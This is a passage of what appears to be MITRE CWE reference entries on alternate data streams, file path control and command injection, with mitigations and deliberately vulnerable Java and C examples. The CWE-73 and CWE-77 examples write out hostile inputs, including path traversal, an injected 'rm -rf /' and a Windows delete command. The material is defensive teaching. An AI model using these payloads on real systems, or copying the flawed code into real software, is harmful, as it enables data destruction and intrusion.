CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream

Weakness ID : 69

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software does not properly prevent access to, or detect usage of, alternate data streams (ADS).

Extended Description

An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|----|---|------|
| ChildOf |  | 66 | Improper Handling of File Names that Identify Virtual Resources | 118 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : Windows (*Prevalence = Undetermined*)

Background Details

Alternate data streams (ADS) were first implemented in the Windows NT operating system to provide compatibility between NTFS and the Macintosh Hierarchical File System (HFS). In HFS, data and resource forks are used to store information about a file. The data fork provides information about the contents of the file while the resource fork stores metadata such as file type.

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | |
| Non-Repudiation | Hide Activities | |
| Other | Other | |

Potential Mitigations

Phase: Testing

Software tools are capable of finding ADSs on your system.

Phase: Implementation

Ensure that the source code correctly parses the filename to read or write to the correct stream.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-1999-0278 | In IIS, remote attackers can obtain source code for ASP files by appending ":: \$DATA" to the URL. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0278 |
| CVE-2000-0927 | Product does not properly record file sizes if they are stored in alternative data streams, which allows users to bypass quota restrictions. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0927 |

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|-----|------------------------------|---|------|
| MemberOf |  | 904 | SFP Primary Cluster: Malware | 888 | 2104 |

Notes

Theoretical

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path

Weakness ID : 72

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.

Extended Description

If the software chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the software may take unexpected actions. Further, if the software intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|----|---|------|
| ChildOf |  | 66 | Improper Handling of File Names that Identify Virtual Resources | 118 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : macOS (*Prevalence = Undetermined*)

Background Details

The Apple HFS+ file system permits files to have multiple data input streams, accessible through special paths. The Mac OS X operating system provides a way to access the different data input streams through special paths and as an extended attribute:

- Resource fork: file/..namedfork/rsrsrc, file/rsrsrc (deprecated), xattr:com.apple.ResourceFork
- Data fork: file/..namedfork/data (only versions prior to Mac OS X v10.5)

Additionally, on filesystems that lack native support for multiple streams, the resource fork and file metadata may be stored in a file with "._" prepended to the name.

Forks can also be accessed through non-portable APIs.

Forks inherit the file system access controls of the file they belong to.

Programs need to control access to these paths, if the processing of a file system object is dependent on the structure of its path.

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Files or Directories | |
| Integrity | Modify Files or Directories | |

Demonstrative Examples

Example 1:

A web server that interprets FILE.cgi as processing instructions could disclose the source code for FILE.cgi by requesting FILE.cgi/..namedfork/data. This might occur because the web server invokes the default handler which may return the contents of the file.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2004-1084 | Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1084 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-73: External Control of File Name or Path

| | |
|---------------------------|-----------------------|
| Weakness ID : 73 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software allows user input to control or influence paths or file names that are used in filesystem operations.

Extended Description

This could allow an attacker to access or modify system files or other files that are critical to the application.

Path manipulation errors occur when the following two conditions are met:

1. An attacker can specify a path used in an operation on the filesystem.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

| Scope | Impact | Likelihood |
|--|--|------------|
| Integrity Confidentiality | Read Files or Directories Modify Files or Directories <i>The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.</i> | |
| Integrity Confidentiality Availability | Modify Files or Directories Execute Unauthorized Code or Commands <i>The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.</i> | |
| Availability | DoS: Crash, Exit, or Restart DoS: Resource Consumption (Other) <i>The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.</i> | |

Detection Methods**Automated Static Analysis**

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Potential Mitigations**Phase: Architecture and Design**

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI `AccessReferenceMap` provide this capability.

Phase: Architecture and Design**Phase: Operation**

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix `chroot` jail and `AppArmor`. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

*Effectiveness = High***Phase: Implementation**

Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Phase: Installation**Phase: Operation**

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Phase: Operation**Phase: Implementation**

If you are using PHP, configure your application so that it does not use `register_globals`. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

Example Language: Java

(bad)

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 2:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

Example Language: Java

(bad)

```
fis = new FileInputStream(cfg.getProperty("sub")+ ".txt");
amt = fis.read(arr);
out.println(arr);
```

Notes

Maintenance

CWE Version 4.6**CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')**

CWE-114 is a Class, but it is listed a child of CWE-73 in view 1000. This suggests some abstraction problems that should be resolved in future versions.

Relationship

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc. However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all. The external control can be resultant from other issues. For example, in PHP applications, the register_globals setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')**Weakness ID :** 74**Status:** Incomplete**Structure :** Simple**Abstraction :** Class**Description**

The software constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes

special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

Extended Description

Software has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|--------------------|--|------------|
| Confidentiality | Read Application Data <i>Many injection attacks involve the disclosure of important information -- in terms of both data sensitivity and usefulness in further exploitation.</i> | |
| Access Control | Bypass Protection Mechanism <i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i> | |
| Other | Alter Execution Logic <i>Injection attacks are characterized by the ability to significantly change the flow of a given process, and in some cases, to the execution of arbitrary code.</i> | |
| Integrity Other | Other <i>Data injection attacks lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing.</i> | |
| Non-Repudiation | Hide Activities <i>Often the actions performed by injected control code are unlogged.</i> | |

Potential Mitigations

Phase: Requirements

Programming languages and supporting technologies might be chosen which are not subject to these issues.

Phase: Implementation

Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.

| MemberOf | C | 1347 | OWASP Top Ten 2021 Category A03:2021 - Injection | 1344 | 2205 |

Notes

Theoretical

Many people treat injection only as an input validation problem (CWE-20) because many people do not distinguish between the consequence/attack (injection) and the protection mechanism that prevents the attack from succeeding. However, input validation is only one potential protection mechanism (output encoding is another), and there is a chaining relationship between improper input validation and the improper enforcement of the structure of messages to other components. Other issues not directly related to input validation, such as race conditions, could similarly impact message structure.

CWE-76: Improper Neutralization of Equivalent Special Elements

Weakness ID : 76

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software properly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.

Extended Description

The software may have a fixed list of special characters it believes is complete. However, there may be alternate encodings, or representations that also have the same meaning. For example, the software may filter out a leading slash (/) to prevent absolute path names, but does not account for a tilde (~) followed by a user name, which on some *nix systems could be expanded to an absolute pathname. Alternately, the software might filter a dangerous "-e" command-line switch when calling an external program, but it might not account for "--exec" or other switches that have the same semantics.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

Weakness ID : 77

Status: Draft

Structure : Simple

Abstraction : Class

Description

The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

Extended Description

Command injection vulnerabilities typically occur when:

1. Data enters the application from an untrusted source.
2. The data is part of a string that is executed as a command by the application.
3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Many protocols and products have their own custom command language. While OS or shell command strings are frequently discovered and targeted, developers may not realize that these other command languages might also be vulnerable to attacks.

Command injection is a common problem with wrapper programs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Integrity | Execute Unauthorized Code or Commands | |
| Confidentiality | | |
| Availability | <i>If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, it may be possible to then insert an entirely new and unrelated command that was not intended to be executed.</i> | |

Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phase: Implementation

If possible, ensure that all external commands called from the program are statically created.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended

validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Operation

Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.

Phase: System Configuration

Assign permissions to the software system that prevents the user from accessing/opening privileged files.

Demonstrative Examples

Example 1:

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

Example Language: C

(bad)

```
int main(int argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to `system()` also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form `";rm -rf /"`, then the call to `system()` fails to execute `cat` due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if `argv[1]` is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Example 2:

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the `rman` utility and then run a `cleanup.bat` script to delete some temporary files. The script `rmanDB.bat` accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

Example Language: Java

(bad)

```
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
    c:\\util\\rmanDB.bat \"
    +btype+
    "&&c:\\utl\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);
...
```

The problem here is that the program does not do any validation on the `backuptype` parameter read from the user. Typically the `Runtime.exec()` function will not execute multiple commands, but in this case the program first runs the `cmd.exe` shell in order to run multiple commands with a single call to `Runtime.exec()`. Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form `"& del c:\\dbms*.*)"`, then the application will execute this command along with the others specified by the program. Because

of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Example 3:

The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

Example Language: Java

(bad)

```
...
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
...
```

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

Example 4:

The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

Example Language: C

(bad)

```
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
    char cat[] = "cat ";
    char *command;
    size_t commandLength;
    commandLength = strlen(cat) + strlen(argv[1]) + 1;
    command = (char *) malloc(commandLength);
    strncpy(command, cat, commandLength);
    strncat(command, argv[1], (commandLength - strlen(cat)) );
    system(command);
    return (0);
}
```

Used normally, the output is simply the contents of the file requested:

Example Language:

(informative)

```
$ ./catWrapper Story.txt
When last we left our heroes...
```

However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

Example Language:

(attack)

```
$ ./catWrapper Story.txt; ls
When last we left our heroes...
Story.txt
SensitiveFile.txt
PrivateData.db
a.out*
```

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.

Observed Examples

| Reference | Description |
|-----------------------|--|
| CVE-1999-0067 | Canonical example of OS command injection. CGI program does not neutralize " " metacharacter when invoking a phonebook program. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0067 |

Notes

Terminology

The "command injection" phrase carries different meanings to different people. For some people, it refers to refers to any type of attack that can allow the attacker to execute commands of their own choosing, regardless of how those commands are inserted. The command injection could thus be resultant from another weakness. This usage also includes cases in which the functionality allows the user to specify an entire command, which is then executed; within CWE, this situation might be better regarded as an authorization problem (since an attacker should not be able to specify arbitrary commands.) Another common usage, which includes CWE-77 and its descendants, involves cases in which the attacker injects separators into the command being constructed.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|-----------------------|---------|-------------------------------------|-------------------|
| 7 Pernicious Kingdoms | | | Command Injection |
| CLASP | | | Command injection |

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

| | |
|---------------------------|------------------------|
| Weakness ID : 78 | Status : Stable |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

1. The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use `system("nslookup [HOSTNAME]")` to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.
2. The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use `exec([COMMAND])` to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like `exec()` and `CreateProcess()`, the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Execute Unauthorized Code or Commands | |
| Integrity | DoS: Crash, Exit, or Restart | |
| Availability | Read Files or Directories | |
| Non-Repudiation | Modify Files or Directories | |
| | Read Application Data | |
| | Modify Application Data | |
| | Hide Activities | |
| | <i>Attackers could execute unauthorized commands, which could then be used to disable the software, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.</i> | |

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations**Phase: Architecture and Design**

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phase: Architecture and Design**Phase: Operation**

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Strategy = Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Phase: Architecture and Design

Strategy = Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the `system()` function accepts a string that contains the entire command to be executed, whereas `execl()`, `execve()`, and others require an array of strings, one for each argument. In Windows, `CreateProcess()` only accepts one command at a time. In Perl, if `system()` is provided with an array of arguments, then it will quote each of the arguments.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components. Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy = Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy = Environment Hardening

